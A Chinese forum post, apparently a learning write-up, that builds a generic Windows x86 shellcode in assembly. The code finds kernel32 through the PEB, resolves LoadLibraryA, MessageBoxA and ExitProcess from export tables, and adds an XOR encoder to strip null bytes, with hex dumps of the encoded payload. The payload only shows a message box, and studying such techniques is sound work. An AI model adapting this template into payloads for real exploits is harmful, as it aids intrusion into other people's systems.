最近看到了MS08-67的溢出漏洞的公布,看雪上也发布了一些利用工具。但测试的时候发现telnet链接总是链接不上,不知道是自己机器的毛病,还是其他的什么原因没有深究。发现原有的shellcode的运行很隐蔽。测试的时候很是麻烦,更本不知道溢出是否成功。就学着failwest大师的方法做了MessageBOXA的弹出框,由于地址硬编码很不爽。自己就动手做了一个通用的Shellcode。实际上这样的代码四处都能找到。现在的高手们已经不屑于写这些东西了!多数人都在不断的优化,压缩自己的shellcode。而在雪上也没有找到汇编制作的Shellcode的代码的教程,本人就借鉴其他众多的高手写的SC进行,分析改造做成属于自己的shellcode了。所以技术并非首创,只是研习!
再就是本人技术粗劣,见笑了!
------------------------B.j.H's split-line-----------------------------------
shellcode的流程大致是
1、根据PEB查找kernel32.dll的基地址
2、通过kernel32的基地址找到LoadLibraryA函数入口
3、加载user32.dll得到其基地址
4、根据user32的基地址得到MessageBoxA函数入口(弹出窗口)
5、根据kernel32的基地址获得ExitProcess的函数入口(安全退出程序)
------------------------B.j.H's split-line-----------------------------------
;注意masm编译,注意这个程序不能直接运行,编译完成后od加载code3之前运行一次是加密,运行完dump出来就是shellcode了! .386p .model flat, stdcall .code start: assume fs:flat, gs:flat ;这里直接写代码 ;------------------------B.j.H's split-line----------------------------------- ;首先建立一个在shellcode中需要用到的字符表他应该包括 ;LoadLibraryA ;user32 ;MessageBoxA ;ExitProcess ;B.J.H 当然为了弹出的Msgbox有个性可以添加这样一字符串,用来弹框框 ;这些字符统统压入堆栈以便调用! ;所以我们代码的前面是 ;------------------------B.j.H's split-line----------------------------------- push 0048h ;B.J.H push 2e4a2e42h ; push 00737365h ;ExitProcess push 636f7250h push 74697845h push 0041786fh ;MessageBoxA push 42656761h push 7373654dh push 00323372h ;user32 push 65737500h push 41797261h ;LoadLibraryA push 7262694ch push 64616f4ch mov edx,esp ;保存字符串首地址 ;上面是一个函数表!注意压入的字符格式,注意堆栈是倒过来的!慢慢调试可以感觉出来的! 最后一据代码是保存字符串表的的入口(也就是首地址) ;------------------------B.j.H's split-line----------------------------------- ;获得Kernel的基地址(这一段很多地方都能找到!)不做解释了! xor eax,eax mov eax,dword ptr FS:[030h] mov eax,DWORD PTR [eax+0ch] mov esi,DWORD PTR [eax+01ch] lodsd mov eax,dword ptr [eax+8h] ;------------------------B.j.H's split-line----------------------------------- ;现在eax中存放的就是kernel32的基地址了! ;当处到这里我就不知道该怎么出来了!得到基地址到底有什么用呢!不知道!呵呵!时间久了! ;忙忙的阅读一些资料!自然而然的就懂了!...我不是那种一看资料就明白的那种具有潜质的大 ;鸟,只是一点一点体会的小菜鸟! ;下面先写一个调用就是 ;------------------------B.j.H's split-line----------------------------------- push eax ;保存kernel32.dll基地址 push edx ;传入需要查询函数名地址 push 0ch ;函数名长度 call getapi ;调用函数得到函数入口 ;------------------------B.j.H's split-line----------------------------------- pop ebx ;弹出堆栈里的的函数名地址(是之前建立的) add ebx,0dh ; 加上字符长度得到下一个需要使用的字符串的 push ebx ;参数"user32" call eax ;调用LoadLibraryA("user32"),加载 ;user32.dll,且eax中是从函数调用返回的user32的基地址 ;------------------------B.j.H's split-line----------------------------------- add ebx,07h ; 继续得到下一个需要使用的字符串。下面的几个调用不详细说了... ... push ebx ; push 0bh ; call getapi ;调用getaddr函数获取MessageBoxA函数地址. ;------------------------B.j.H's split-line----------------------------------- pop ebx ; add ebx,018h ; push 0h ; push ebx ; push ebx ; push 0h ; call eax ;调用MessageBoxA ;------------------------B.j.H's split-line----------------------------------- mov edx,0ch ; pop eax ; sub ebx,edx ; push ebx ; push edx ; call getapi ;调用getaddr函数获取exitprocess函数地址. call eax ;调用exitprocess ;------------------------B.j.H's split-line----------------------------------- ;下面这个才是重点!(个人认为) ;写一个根据dll的基地址查找API函数入口 的函数方便调用 ;函数说明:此函数包括两个传入参数,一个是基地址,另一个是需要查询的函数名字符串首地址 ;------------------------B.j.H's split-line----------------------------------- getapi: mov ebx,eax ;eax存放的传入的基地址 add eax,03ch ;定位PE头位置地址 mov eax,dword ptr [eax] ;获得PE头偏移地址 add eax,ebx ;计算PE头VA cmp dword ptr [eax],00004550h ;验证PE文件的合法性 jne Err ;不合法跳转 mov eax,dword ptr [eax+078h] ;导出表地址获得 add eax,ebx ;计算导出表入口VA push eax ;保存导出表入口VA mov ecx,eax ;令ecx指向导出表 mov ecx,dword ptr [ecx + 014h] ;找出导出表中函数个数作为循环值 mov eax,dword ptr [eax + 020h] ;找出函数名字符串地址表的偏移 add eax,ebx ;计算函数名字符串地址表的VA push ebp ;保存ebp寄存器,寄存器不够用,借用一下,呵呵! mov ebp,eax ;ebp保存函数名字符串地址表的VA xor edx,edx ;edx清0用于存放函数索引 LoopFind: push ecx; ;保存ecx 循环次数 mov eax,dword ptr[eax] ;获取函数名字符串偏移 add eax,ebx ;计算函数字符串VA mov edi,eax ;把VA赋值给edi 准备比较 mov esi,dword ptr [esp + 014h] ;这个地方要算好了!函数内部有3个push,每个push为4个字节一个12个字节 ;字符串地址放在call外部倒数第二个push(这个自己用控制好第几个参数是自己定的) ;也就是说从push 字符串地址到这个命令行之间有16个字节被push进入栈中。是不是就是+10H呢 ;注意我们这里用了一个函数,不是jmp,函数调用的时候会有一个push eip用于返回! ;所以我们在计算的时候这个push不能忘,最后计算得到esp+14h中所放的就我们要查的函数名字符的地址 mov ecx,dword ptr [esp + 010h] ; 计算同上,这里是给ecx赋值,函数名的长度。ecx被改变了 ;(后面,在loop命令之前要恢复的ecx,这个是计数器,硬性规定,呵呵!) cld ; repz cmpsb ;字符串比较 esi 和 edi 比较 jne FindNext ;比较,如果不是,则取下一个函数 add esp,4 ;找到往下执行 相当与pop ecx。无关紧要了! mov eax,dword ptr [esp + 04h] ;恢复导出函数表入口 mov eax,dword ptr [eax + 01ch] ;获得函数地址表入口偏移 ;我在这里缺少了一步,大多数情况不会有影响,具体的是哪一步, ;深究的同志可以看看关于函数导出表的函数查询方式 add eax,ebx ;计算函数地址表入口VA shl edx,2 ;函数索引*函数地址(默认为4个字节) 鉴戒别人的,很妙的一招相当与乘以4 add eax,edx ;函数地址表基址+(函数索引) mov eax,dword ptr[eax] ;获得函数入口地址偏移 add eax,ebx ;计算VA jmp Found FindNext: inc edx ;计数器加一 add ebp,4h ;函数名字符串地址表的VA指向下一个函数名地址 mov eax,ebp ; 函数名地址的VA赋值到eax pop ecx ;恢复ecx 循环次数 loop LoopFind ;loop 继续循环查找 Err: xor eax,eax ;没有找到,或者出错,eax清理。 Found: pop ebp ;恢复ebp pop ecx ;不能再恢复eax了!弹到ecx好了! ret 4 ; 返回 且 add esp 4 ;这个是因为我们调用完函数时需要利用之前我们自己建立函数名字符表。 end start
如strcpy strlen等这样的函数都会有真样的问题。所以我对他进行一些处理就是通常大家说的加密。加密实际上只是对shellcode空字符处理
编译后我得到了EBh大小的shellcode
这段代码也特棒借鉴了!
;------------------------B.j.H's split-line----------------------------------- jmp code4 ;跳到此段代码的最后一行利用call 获得call下一段代码的地址 code2: ;call到这边继续执行 pop ebx ;弹出地址,加密从这个地址向下开始 xor ecx,ecx ;ecx清零 mov eax, 090909090h ;eax放入密钥,呵呵! code1: xor dword ptr [ebx+ecx*4], eax ;开始加密喽 inc cx ;计数 cmp cx, 03ah ;计数比较ebh/4=03ah jl code1 ;没有计算完继续计算 jmp code3 ;计算完直接跳到shellcode的功能码,这个是解密时候跳转用的呵呵! code4: call code2 code3:
EB145B33C9B89090909031048B416683F93A7CF6EB05E8E7FFFFFF 这个是上面的加密代码
;------------------------B.j.H's split-line-----------------------------------
FAD8F8D2BEDABEF8F5E3E390F8C0E2FFF3F8D5E8F9E4F8FFE8D190F8F1F7F5D2F8DDF5E3E3F8E2A3A290F890E5E3F5F8F1E2E9D1F8DCF9F2E2F8DCFFF1F41B44A350F431A09090901BD09C1BE08C3DD098C0C2FA9C78BF909090CB13539DC36F40135397C3FA9B788D909090CB135388FA90C3C3FA906F402A9C909090C84AC3C278929090906F401B481350AC1B90935311A8C0D59090E5D91BD0E89353C01B581BD9841BD0B09353C51B78A342C11B9093531B681BE4B4841BDCB4806C6336871354941BD4B4941BD08C935351729293521B9093537B9BD21355941B55C9725CA350CDC9C20400 被加密的功能码messagbox的框(不确定这些代码被挖出来的时候是否正确,验证后等待确认)
;------------------------B.j.H's split-line-----------------------------------
感谢 sylingyy 指出错误...